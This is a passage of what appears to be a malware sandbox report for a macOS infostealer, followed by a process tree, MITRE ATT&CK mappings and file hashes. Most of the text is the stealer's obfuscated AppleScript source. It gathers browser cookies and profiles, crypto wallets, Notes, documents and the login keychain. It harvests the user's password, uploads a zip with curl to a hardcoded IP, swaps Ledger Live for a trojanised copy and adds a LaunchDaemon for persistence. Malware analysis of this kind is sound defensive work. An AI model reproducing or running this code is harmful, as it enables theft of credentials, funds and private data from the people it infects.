to every file of desktop\" & return & \"set v6040935122466836241 to every file of folder \\\"Documents\\\" of (path to home folder)\" & return & \"repeat with r5970773334031856482 in (v8119924508541357890 & v6040935122466836241)\" & return & \"set v6932649326940113769 to name extension of r5970773334031856482\" & return & \"if v6932649326940113769 is in v6158381901122815805 then\" & return & \"set v5797793165775939366 to size of r5970773334031856482\" & return & \"if (v8469470304514680439 + v5797793165775939366) < 10 * 1024 * 1024 then\" & return & \"try\" & return & \"duplicate r5970773334031856482 to folder v8281920971863355302 with replacing\" & return & \"set v8469470304514680439 to v8469470304514680439 + v5797793165775939366\" & return & \"end try\" & return & \"else\" & return & \"exit repeat\" & return & \"end if\" & return & \"end if\" & return & \"end repeat\" & return & \"end try\" & return & \"end tell\" & return & \"end try\" & return & \"end f1532446016022058365\" & return & \"on f8497057021342530935(p5900055593697774672, p8246563282623393106, p2010142394812967057, p5668794948295293669)\" & return & \"try\" & return & \"set v3255209542620155720 to (do shell script \\\"curl -X POST -H \\\\\\\"buildid: ba0069e5ee8f4f91ae69ccdb86b78076\\\\\\\" -H \\\\\\\"username: \\\" & p8246563282623393106 & \\\"\\\\\\\" -H \\\\\\\"repeat: \\\" & p5668794948295293669 & \\\"\\\\\\\" -H \\\\\\\"cid: \\\\\\\" --data-binary @/tmp/out.zip http://\\\" & p2010142394812967057 & \\\"/log\\\")\" & return & \"on error\" & return & \"if p5900055593697774672 < 10 then\" & return & \"delay 60\" & return & \"f8497057021342530935(p5900055593697774672 + 1, p8246563282623393106, p2010142394812967057)\" & return & \"end if\" & return & \"end try\" & return & \"end f8497057021342530935\" & return & \"on f7881539568187939281(p2485608757807931554)\" & return & \"try\" & return & \"set v7282284727864660204 to \\\"\\\"\" & return & \"set v4769200348931914948 to 0\" & return & \"tell application \\\"Notes\\\"\" & return & \"set v2532122926136842264 to {}\" & return & \"set v3660538997077474786 to every account\" & return & \"repeat with r6203686060571348040 in v3660538997077474786\" & return & \"try\" & return & \"set v6069917827788775140 to properties of every note in r6203686060571348040\" & return & \"set v4769200348931914948 to v4769200348931914948 + (length of v6069917827788775140)\" & return & \"repeat with r4231202708533315726 in v6069917827788775140\" & return & \"try\" & return & \"set v2473674755434718728 to (creation date of r4231202708533315726) & return & (body of r4231202708533315726)\" & return & \"copy v2473674755434718728 to end of v2532122926136842264\" & return & \"end try\" & return & \"end repeat\" & return & \"end try\" & return & \"end repeat\" & return & \"set v7282284727864660204 to v2532122926136842264 as text\" & return & \"end tell\" & return & \"if v4769200348931914948 > 0 then\" & return & \"set v7282284727864660204 to \\\"<h1>Notes Count: \\\" & (v4769200348931914948 as text) & \\\"</h1> <br><br><br> \\\" & v7282284727864660204\" & return & \"f6264705180628981705(v7282284727864660204, p2485608757807931554 & \\\"finder/notes.html\\\")\" & return & \"end if\" & return & \"end try\" & return & \"end f7881539568187939281\" & return & \"on f7738793407393166782(p7555612972716165088, p1320216238734915359, p4310207234123017821)\" & return & \"try\" & return & \"set v3970677117347150220 to \\\"/Applications/Ledger Live.app\\\"\" & return & \"list folder POSIX file v3970677117347150220\" & return & \"do shell script \\\"curl http://\\\" & p4310207234123017821 & \\\"/otherassets/ledger.zip -o /tmp/ledger.zip\\\"\" & return & \"try\" & return & \"do shell script \\\"pkill \\\" & quoted form of \\\"Ledger Live\\\"\" & return & \"end try\" & return & \"do shell script \\\"echo \\\" & quoted form of p1320216238734915359 & \\\" | sudo -S rm -r \\\" & quoted form of v3970677117347150220\" & return & \"delay 0.01\" & return & \"do shell script \\\"unzip /tmp/ledger.zip -d /Applications\\\"\" & return & \"end try\" & return & \"end f7738793407393166782\" & return & \"on f7680579707267924922(p6319878029184497578, p8155257917916918513, p6151609391132453683)\" & return & \"try\" & return & \"set v3889753805557895190 to (random number from 10000 to 100000) as text\" & return & \"set v8451565999740633567 to \\\"com.\\\" & v3889753805557895190\" & return & \"set v5565569851091166079 to do shell script \\\"curl -s http://\\\" & p6151609391132453683 & \\\"/otherassets/plist\\\"\" & return & \"set v6729880044489636041 to \\\"<?xml version=\\\\\\\"1.0\\\\\\\" encoding=\\\\\\\"UTF-8\\\\\\\"?>\" & return & \"<!DOCTYPE plist PUBLIC \\\\\\\"-//Apple//DTD PLIST 1.0//EN\\\\\\\" \\\\\\\"http://www.apple.com/DTDs/PropertyList-1.0.dtd\\\\\\\">\" & return & \"<plist version=\\\\\\\"1.0\\\\\\\">\" & return & \"<dict>\" & return & \"<key>KeepAlive</key>\" & return & \"<true/>\" & return & \"<key>Label</key>\" & return & \"<string>\\\" & v8451565999740633567 & \\\"</string>\" & return & \"<key>ProgramArguments</key>\" & return & \"<array>\" & return & \"<string>/bin/bash</string>\" & return & \"<string>-c</string>\" & return & \" <string>\\\" & v5565569851091166079 & \\\"</string>\" & return & \"</array>\" & return & \"<key>UserName</key>\" & return & \" <string>\\\" & p6319878029184497578 & \\\"</string>\" & return & \"<key>RunAtLoad</key>\" & return & \"<true/>\" & return & \"<key>SessionCreate</key>\" & return & \"<true/>\" & return & \"</dict>\" & return & \"</plist>\\\"\" & return & \"f6264705180628981705(v6729880044489636041, \\\"/tmp/starter\\\")\" & return & \"do shell script \\\"echo \\\" & quoted form of p8155257917916918513 & \\\" | sudo -S cp /tmp/starter /Library/LaunchDaemons/\\\" & v8451565999740633567 & \\\".plist\\\"\" & return & \"try\" & return & \"do shell script \\\"echo \\\" & quoted form of p8155257917916918513 & \\\" | sudo -S launchctl bootstrap system /Library/LaunchDaemons/\\\" & v8451565999740633567 & \\\".plist\\\"\" & return & \"on error\" & return & \"do shell script \\\"nohup \\\" & v5565569851091166079 & \\\" >/dev/null 2>&1 &\\\"\" & return & \"end try\" & return & \"end try\" & return & \"end f7680579707267924922\" & return & \"on f7067467169335976972()\" & return & \"set v3611835577903818869 to (system attribute \\\"USER\\\")\" & return & \"set v5329093948850621050 to \\\"boss\\\"\" & return & \"set v6176627993449405708 to \\\"185.93.89.62\\\"\" & return & \"set v6007572078735828114 to \\\"\$ISBOT\$\\\"\" & return & \"set v5876564239486588955 to \\\"/Users/\\\" & v3611835577903818869\" & return & \"f6264705180628981705(v5329093948850621050, v5876564239486588955 & \\\"/.username\\\")\" & return & \"f6264705180628981705(v6176627993449405708, v5876564239486588955 & \\\"/.chost\\\")\" & return & \"set v8258978919954172053 to (random number from 10000 to 100000) as text\" & return & \"set v2545565665707699343 to \\\"/tmp/\\\" & v8258978919954172053 & \\\"/\\\"\" & return & \"try\" & return & \"set v5048646198888777399 to (do shell script \\\"system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType\\\")\" & return & \"f6264705180628981705(v5048646198888777399, v2545565665707699343 & \\\"hardware\\\")\" & return & \"end try\" & return & \"set v8210301408553245953 to v5876564239486588955 & \\\"/Library/\\\"\" & return & \"set v4968262434143532926 to v8210301408553245953 & \\\"Application Support/\\\"\" & return & \"set v2439337587433223164 to f8771517014503093342(v5876564239486588955 & \\\"/.pwd\\\")\" & return & \"if not f5789441686885361081(v3611835577903818869, v2439337587433223164) then\" & return & \"set v2439337587433223164 to f4455047023799241882(v3611835577903818869, v2545565665707699343)\" & return & \"f6264705180628981705(v2439337587433223164, v5876564239486588955 & \\\"/.pwd\\\")\" & return & \"end if\" & return & \"delay 0.01\" & return & \"f6264705180628981705(v2439337587433223164, v2545565665707699343 & \\\"pwd\\\")\" & return & \"set v7777708969300503610 to v8210301408553245953 & \\\"Group Containers/group.com.apple.notes/NoteStore.sqlite\\\"\" & return & \"f3260842499625414770(v7777708969300503610, v2545565665707699343 & \\\"finder/NoteStore.sqlite\\\")\" & return & \"f3260842499625414770(v7777708969300503610 & \\\"-wal\\\", v2545565665707699343 & \\\"finder/NoteStore.sqlite-wal\\\")\" & return & \"f3260842499625414770(v7777708969300503610 & \\\"-shm\\\", v2545565665707699343 & \\\"finder/NoteStore.sqlite-shm\\\")\" & return & \"f3260842499625414770(v8210301408553245953 & \\\"Containers/com.apple.Safari/Data/Library/Cookies/Cookies.binarycookies\\\", v2545565665707699343 & \\\"finder/Cookies.binarycookies\\\")\" & return & \"f3260842499625414770(v8210301408553245953 & \\\"Cookies/Cookies.binarycookies\\\", v2545565665707699343 & \\\"finder/saf1\\\")\" & return & \"f1532446016022058365(v2545565665707699343)\" & return & \"try\" & return & \"if f8771517014503093342(v2545565665707699343 & \\\"finder/NoteStore.sqlite\\\") is equal to \\\"\\\" then\" & return & \"f7881539568187939281(v2545565665707699343)\" & return & \"end if\" & return & \"end try\" & return & \"set v5516568614182406442 to {{\\\"Chrome\\\", v4968262434143532926 & \\\"Google/Chrome/\\\"}, {\\\"Brave\\\", v4968262434143532926 & \\\"BraveSoftware/Brave-Browser/\\\"}, {\\\"Edge\\\", v4968262434143532926 & \\\"Microsoft Edge/\\\"}, {\\\"Vivaldi\\\", v4968262434143532926 & \\\"Vivaldi/\\\"}, {\\\"Opera\\\", v4968262434143532926 & \\\"com.operasoftware.Opera/\\\"}, {\\\"OperaGX\\\", v4968262434143532926 & \\\"com.operasoftware.OperaGX/\\\"}, {\\\"Chrome Beta\\\", v4968262434143532926 & \\\"Google/Chrome Beta/\\\"}, {\\\"Chrome Canary\\\", v4968262434143532926 & \\\"Google/Chrome Canary\\\"}, {\\\"Chromium\\\", v4968262434143532926 & \\\"Chromium/\\\"}, {\\\"Chrome Dev\\\", v4968262434143532926 & \\\"Google/Chrome Dev/\\\"}}\" & return & \"set v8490134006172949951 to {{\\\"Electrum\\\", v5876564239486588955 & \\\"/.electrum/wallets/\\\"}, {\\\"Coinomi\\\", v4968262434143532926 & \\\"Coinomi/wallets/\\\"}, {\\\"Exodus\\\", v4968262434143532926 & \\\"Exodus/\\\"}, {\\\"Atomic\\\", v4968262434143532926 & \\\"atomic/Local Storage/leveldb/\\\"}, {\\\"Wasabi\\\", v5876564239486588955 & \\\"/.walletwasabi/client/Wallets/\\\"}, {\\\"Ledger_Live\\\", v4968262434143532926 & \\\"Ledger Live/\\\"}, {\\\"Monero\\\", v5876564239486588955 & \\\"/Monero/wallets/\\\"}, {\\\"Bitcoin_Core\\\", v4968262434143532926 & \\\"Bitcoin/wallets/\\\"}, {\\\"Litecoin_Core\\\", v4968262434143532926 & \\\"Litecoin/wallets/\\\"}, {\\\"Dash_Core\\\", v4968262434143532926 & \\\"DashCore/wallets/\\\"}, {\\\"Electrum_LTC\\\", v5876564239486588955 & \\\"/.electrum-ltc/wallets/\\\"}, {\\\"Electron_Cash\\\", v5876564239486588955 & \\\"/.electron-cash/wallets/\\\"}, {\\\"Guarda\\\", v4968262434143532926 & \\\"Guarda/\\\"}, {\\\"Dogecoin_Core\\\", v4968262434143532926 & \\\"Dogecoin/wallets/\\\"}, {\\\"Trezor_Suite\\\", v4968262434143532926 & \\\"@trezor/suite-desktop/\\\"}}\" & return & \"f3260842499625414770(v4968262434143532926 & \\\"Binance/app-store.json\\\", v2545565665707699343 & \\\"deskwallets/Binance/app-store.json\\\")\" & return & \"f3260842499625414770(v4968262434143532926 & \\\"@tonkeeper/desktop/config.json\\\", \\\"deskwallets/TonKeeper/config.json\\\")\" & return & \"f3260842499625414770(v8210301408553245953 & \\\"Keychains/login.keychain-db\\\", v2545565665707699343 & \\\"kc\\\")\" & return & \"f6264705180628981705(v3611835577903818869, v2545565665707699343 & \\\"user\\\")\" & return & \"set v7965558497206143252 to {{\\\"Firefox\\\", v4968262434143532926 & \\\"Firefox/Profiles/\\\"}, {\\\"Waterfox\\\", v4968262434143532926 & \\\"Waterfox/Profiles/\\\"}}\" & return & \"repeat with r8845574607081690012 in v7965558497206143252\" & return & \"try\" & return & \"f2536643714453681639(item 1 of r8845574607081690012, item 2 of r8845574607081690012, v2545565665707699343)\" & return & \"end try\" & return & \"end repeat\" & return & \"repeat with r7976650121018849761 in v8490134006172949951\" & return & \"f8031310448975060865(item 2 of r7976650121018849761, v2545565665707699343 & \\\"deskwallets/\\\" & item 1 of r7976650121018849761)\" & return & \"end repeat\" & return & \"f1591517285159242142(v2545565665707699343, v5516568614182406442)\" & return & \"do shell script \\\"ditto -c -k --sequesterRsrc \\\" & v2545565665707699343 & \\\" /tmp/out.zip\\\"\" & return & \"f8497057021342530935(0, v5329093948850621050, v6176627993449405708, v6007572078735828114)\" & return & \"do shell script \\\"rm -r \\\" & v2545565665707699343\" & return & \"do shell script \\\"rm /tmp/out.zip\\\"\" & return & \"f7738793407393166782(v5876564239486588955, v2439337587433223164, v6176627993449405708)\" & return & \"try\" & return & \"if f8771517014503093342(v5876564239486588955 & \\\"/.botid\\\") is equal to \\\"\\\" then\" & return & \"f7680579707267924922(v3611835577903818869, v2439337587433223164, v6176627993449405708)\" & return & \"end if\" & return & \"end try\" & return & \"end f7067467169335976972\" & return & \"f7067467169335976972()\" & return"
1⤵
PID:476

/usr/libexec/xpcproxy
xpcproxy com.apple.Terminal.1804
1⤵
PID:478

/System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal
/System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal
1⤵
PID:478
- /usr/bin/login
  login -pf run
  2⤵
  PID:479
- - /bin/zsh
    -zsh
    3⤵
    PID:483
  - - /usr/libexec/path_helper
      /usr/libexec/path_helper -s
      4⤵
      PID:485
  - - /usr/bin/locale
      locale LC_CTYPE
      4⤵
      PID:486

/usr/libexec/xpcproxy
xpcproxy com.apple.nsurlstoraged
1⤵
PID:515

/usr/libexec/nsurlstoraged
/usr/libexec/nsurlstoraged --privileged
1⤵
PID:515

/bin/launchctl
/bin/launchctl kill SIGTERM system/com.microsoft.OneDriveUpdaterDaemon
1⤵
PID:516

/bin/launchctl
/bin/launchctl kill SIGTERM system/com.microsoft.OneDriveStandaloneUpdaterDaemon
1⤵
PID:517

/usr/libexec/xpcproxy
xpcproxy com.apple.corespotlightservice.725FD30A-6064-6C02-CC51-5DDB8891B57E
1⤵
PID:521

/System/Library/Frameworks/CoreSpotlight.framework/CoreSpotlightService
/System/Library/Frameworks/CoreSpotlight.framework/CoreSpotlightService
1⤵
PID:521

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

1

T1497

System Checks

1

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

1

T1497

System Checks

1

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Exfiltration Over Alternative Protocol

1

T1048

Exfiltration Over Unencrypted Non-C2 Protocol

1

T1048.003

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

dafsaData.bin

Path /var/db/nsurlstoraged/dafsaData.bin
Size 54KB
SHA256 d74d0e429343f5e1b3e0b9437e048917c4343a30cff068739ea898bad8e37ffd
MD5 64f469698e53d0c828b7f90acd306082
SHA1 bcc041b3849e1b0b4104ffeb46002207eeac54f3
SHA512 a8334d1304f2fbd32cfd0ca35c289a45c450746cf3be57170cbbe87b723b1910c2e950a73c1fb82de9dc5ed623166d339a05fec3d78b861a9254dc2cb51fab5f
SSDEEP 1536:aqR8qmuCC1x0Ksqvg6wxElfcskLlLf2OsM:3RxmNKOy67sM
MD5 SHA1 SHA512 SSDEEP

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads